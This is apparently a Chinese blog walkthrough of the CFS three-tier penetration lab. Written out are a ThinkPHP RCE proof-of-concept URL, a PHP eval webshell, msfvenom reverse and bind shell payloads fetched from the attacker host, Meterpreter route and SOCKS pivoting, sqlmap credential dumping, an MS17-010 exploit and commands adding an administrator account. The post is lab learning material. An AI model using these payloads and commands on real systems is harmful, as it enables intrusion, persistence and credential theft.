CFS三层靶机-内网环境渗透

<1>靶场介绍及环境配置

三个主机的网络环境拓扑图,攻击机的网段在192.168.236.0/24,三台靶机的IP地址分别如图:

上面的 Target1、2、3分别对应CentOS7、Ubuntu、Windows7 三台主机。

(1)网卡配置

注意:在编辑虚拟网卡的时候,不要勾选红圈那个选项,否则后面代理就就没有意义了。.ova文件导入到VM之后可以打开虚拟机,使用root:teamssix.com登录主机,通过ifconfig检查网络情况是否正常。

(2)宝塔配置

其中Target1和Target2主机需要我们自己去宝塔后台配置一下(靶机描述信息里有密码 root:teamssix.com):
进入宝塔面板,选择网站,再点击网站名,将centos靶机中c段为236的那个ip添加进去,确保能够访问到对应的web页面

<2>Target1

(1)nmap扫描存活主机

#扫描段内存活主机
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.236.0/24   
Nmap scan report for 192.168.236.141 (192.168.236.141)
Host is up (0.00019s latency).

#nmap扫描一下 Target1 开放的服务
┌──(root㉿kali)-[~]
└─# nmap -A -p 1-65535 192.168.236.141
Nmap scan report for 192.168.236.141 (192.168.236.141)
Host is up (0.00082s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Pure-FTPd
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    nginx
111/tcp  open  rpcbind 2-4 (RPC #100000)
888/tcp  open  http    nginx
3306/tcp open  mysql   MySQL (unauthorized)
8888/tcp open  http    Ajenti http control panel
MAC Address: 00:0C:29:61:BA:F8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

可以看见开放了 21、22、80、111等等端口,我们访问一下80的http服务
访问192.168.236.141 站点不存在,192.168.236.141/index.php 404 是因为宝塔后台配置的原因,按照前面提到的宝塔配置之后就不会出现这个情况。

(2)利用thinkphp-5.0.22 RCE漏洞拿shell

访问80端口开放的http服务

访问后发现这是一个用thinkphp5版本搭建的网站,thinkphp5版本是有漏洞的,这里我们直接上thinkphpGUI工具,检测一下,发现存在ThinkPHP 5.0.22/5.1.29 RCE

poc为:http://192.168.236.141/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

直接GetShell没通,无伤大雅,那我们执行命令去生成一个一句话木🐎(执行反弹shell命令也可)

echo "<?php eval($_POST['1vxyz']); ?>" > shell.php

但是蚁剑连接失败,查看一下shell.php 发现内容中$_POST被过滤了

这个好说,base64加密绕过

echo "PD9waHAgZXZhbCgkX1BPU1RbJzF2eHl6J10pOyA/Pg==" | base64 -d > shell.php

成功写入一句话木🐎,蚁剑连接
在 flag21sA.txt和robots.txt 得到了两个flag

拿到shell之后,执行ifconfig,发现了另一个22网段ip:192.168.22.130。肯定就存在内网了

(3)上传msf后门(reverse_tcp)反向连接拿主机权限

既然存在内网,那就要拿出来我们的msf美少妇工具了
首先利用 msfevnom 生成一个msf后门,即elf的🐎

# 生成msf后门  其中lhost为kali_ip
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.236.128 lport=4444 -f elf > shell.elf
#kali里python开一个http服务  用于蚁剑 wget下载 msf后门
python -m http.server 8888
# 蚁剑进入到可以下载文件的 /tmp目录
wget http://192.168.236.128:8888/shell.elf
# 赋予执行权限
chmod +x shell.elf
#在kali中运行监听模块
root@kali:~# msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.236.128
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run

#然后回到蚁剑 /tmp下 ./执行 elf木马
./shell.elf

到这里我们的Target1:centos靶机已经上线 msf 了,下面开始内网渗透

<3>Target2

现在还不能直接去nmap扫描内网里的ubuntu靶机ip,因为我们的网段设置,这里扫描是用的kali的ip扫描,模拟的环境中kali和centos是NAT下的同一个网段的公网主机,所以可以直接扫到,而现在扫的属于内网网段。 但是我们知道刚打下的centos是内网里的,因此我们需要挂上centos靶机的代理。

(1)路由信息探测

我们使用msf自带的 探测网络接口的模块(get_local_subnets)查看路由的模块(autoroute -p)来进一步进行信息探测

# 获取本地所在子网信息,可以看到存在22网段
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.22.0/255.255.255.0
Local subnet: 192.168.236.0/255.255.255.0
# 查看路由信息,会发现还没有路由
meterpreter > run autoroute -p
[*] No routes have been added yet

路由:路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程,就相当于把我们要传输的数据先传输到该路由,再发往目标,我们可以通过设置路由的方式把我们的请求从centos网段发出,这样msf不就可以与22网段互通有无了吗),所以我们要来添加一个路由(autoroute -s)

静态路由配置

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了

#通过meterpreter添加22网段的路由信息,这样kali与centos就可以互通了
run autoroute -s 192.168.22.0/24
run autoroute -p
#这一步也可以使用run post/multi/manage/autoroute自动添加路由
run post/multi/manage/autoroute

(2)msf的代理配置

路由还有一个缺陷,它只能在这个msf建立的会话上使用,假如我们新开一个终端使用nmap扫描,还是扫不到,所以我们需要去进行 msf的代理配置。

msf有自己的代理模块,就是 auxiliary/server/socks_proxy ,我们先来开启代理服务,srvport端口随便,没被占用就行

# 先切到控制台
background
# 配置socks5代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options
msf6 auxiliary(server/socks_proxy) > set srvport 2222
msf6 auxiliary(server/socks_proxy) > run

在kali中,通过vim /etc/proxychains4.conf修改proxychains配置文件:

写入: kali的ip和刚刚设置的端口

socks5 192.168.236.128 2222

扫描靶机2 ubuntu的ip及其服务

可以用nmap扫描存活主机,也可以利用msf进行第二层网络存活主机扫描:

use auxiliary/scanner/discovery/arp_sweep

root@kali:~# proxychains4 nmap -Pn -sT 192.168.22.129 -p80
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

能探测乌班图的端口,说明代理配置成功(前面的终端页面都不要关,路由必须设置才可以成功)

访问80端口开放的http服务,设置好浏览器代理后,访问看看

显示站点不存在,ubuntu这个靶机也需要去宝塔,把c段为22的 192.168.236.129添加进去

(3)利用bagecms-sql注入漏洞,admin登录后台拿shell

配置完毕后访问,是一个bagecms搭建的平台

源码中给出了sql注入提示:Hint:SQL注入点:/index.php?r=vul&keyword=1
/robots.txt 也给出了admin登录点 : /admini

靶场,不用在意那么多,直接sqlmap一把梭,因为需要挂代理才能访问到,所以命令前需要加上 proxychains4,同样 sqlmap也可以用参数 --proxy=socks5://192.168.236.128:2222
keyword为注入点,所以可以在执行时加上 -p keyword 更快一点

# 爆一下数据库名称
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword --dbs
或
sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --proxy=socks5://192.168.236.128:2222 -p keyword --dbs --batch
# 爆破 bagecms 库下的表
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D "bagecms" --tables T "bage_admin" --batch
# 爆破 bage_admin 表的字段
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D "bagecms" -T "bage_admin" --columns --batch
# 把 admin的账号密码给 dump出来
proxychains4 sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了

拿到admin的账号和密码 admin:123qwe

登录CMS的后台看一看有些什么,/index.php?r=/admini/

在首页就发现了flag

在模板一栏可以修改文件,在 tag/index.php 写入一句话🐎:

提交之后,打开蚁剑,设置代理 socks5为 kaliip为192.168.236.128 port为2222

也可以用 Sockscap挂上msf开启的socks5代理 在里面添加蚁剑程序打开蚁剑

注意这里的网址使用的是模块化,不能直接加在网站上,要用?r=模块文件 的方式访问模块文件,再用蚁剑连接

测试连接,写入成功

(3)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限

然后和前面target1差不多,msf生成后门,上传到蚁剑 www/wwwroot/upload那个目录。不能通过wget了,好像是代理设置的原因,我是直接kali里生成,下载到windows上,然后上传文件上传上去的

# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
# 蚁剑中 uname -a 可以看到这是一个64位的linux系统
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3333 -f elf > shell2.elf
# 后门程序上传之后在Webshell执行命令
chmod +x shell2.elf
./shell2.elf

在MSF中开启监听,与Target2建立连接,这里需要注意,上一次代理使用的reverse_tcp是MSF作为监听,让Target1连到我们,而这次代理使用的bind_tcp是Target2作为监听,我们需要连到Target2,这个逻辑正好是相反的

同样,如果我们要用msf 另起一个终端开启监听,这里要注意,msf新开的终端之前的那个终端的配置都用不了。

然而这次代理使用的bind_tcp是Target2作为监听,我们要正向连接到内网里的target2,所以不能直接msfconsole打开,msf这里也需要走代理 ,就是在用 proxychains msfconsole来启动msf,再设置payload,设置rhost,lport run 即可开启监听 ......有点套娃

可以参考这个图好理解一些:

实际上继续用那个终端就行

# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.129
set LPORT 3333
run
shell
# 转化为交互式
python -c 'import pty;pty.spawn("/bin/bash");'
# 查看网络信息
ifconfig

信息搜集,ifconfig看到了c段为33 的ip,还存在一个内网

还有一层内网? 继续 msf,下面的操作就有点重复之前的操作了 确定内网c段 -> msf添加路由

<4>Target3

(1)路由信息探测

与之前一样,我们添加Target3的路由,由于还在那个终端里,auxiliary/server/socks_proxy正在执行,所以添加了新路由,也就可以访问新路由内网,这里就不用设置代理了,直接添加路由即可

#通过meterpreter添加33网段的路由信息,这样kali与ubuntu就可以互通了
run autoroute -s 192.168.33.0/24
run autoroute -p

nmap扫描一下target3靶机开放的服务

能探测乌班图的端口,说明代理配置成功(前面的终端页面都不要关,路由必须设置才可以成功)

(2)利用ms17-010永恒之蓝漏洞拿shell

必须添加路由

可以看到 target3是 开放着445、3389端口的Win7系统,熟悉的永恒之蓝。msf里现成的ms17-010打一下

use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run

ms17-010漏洞利用成功,shell进入命令行

netstat -ant

发现网站开启了3389,同时是system权限:

还看见了我们的shell....

查看账户,直接修改账户密码。利用3389连接 或者 添加一个用户

net user administrator 123456
或
net user /add 1vxyz 123456
net localgroup administrators /add 1vxyz

win+r mstsc 打开远程桌面连接。在SocksCap中运行连接远程桌面程序mstsc.exe才可以,这里我电脑上没找到。还有一种方法

portfwd端口转发/映射

portfwd add -l 5555 -p 3389 -r 192.168.33.33

Win+r 输入mstsc

最后的flag就在这台win7的桌面上,至此靶场打穿,三个flag拿到

<5>总结

从最初的下载靶机,开启 到现在结束,断断续续统共花费了很多个小时。期间 连开四台虚拟机,有电脑卡的蓝屏动不了关机... 也有对宝塔配置、内网知识的不了解,跟着wp走却访问不了。还有途中不断解决问题时session一直掉,最后一步的远程桌面没打开等等。到后面一步一步啃完,也是学到了很多东西。

0.0 渗透小白终于打破 天天听说却不知道是什么东西,害怕没搞过搞不下来的想法,打下了第一个简单的内网靶场。后续抽时间继续深入学习,万事开头难,希望是一个好兆头,加油!

学到用到的一些东西:

  • thinkphp-GUI,sqlmap工具
  • msf后门制作 & msf 正向反向shell
  • 路由的概念
  • msf内网代理模块 & sockscap64代理工具
  • ms17-010漏洞
  • 跳板攻击之msf-portfwd端口转发
  • 3389远程桌面登录

参考:内有靶机环境下载地方

posted @ 2023-02-09 22:59  1vxyz  阅读(2103)  评论(0编辑  收藏  举报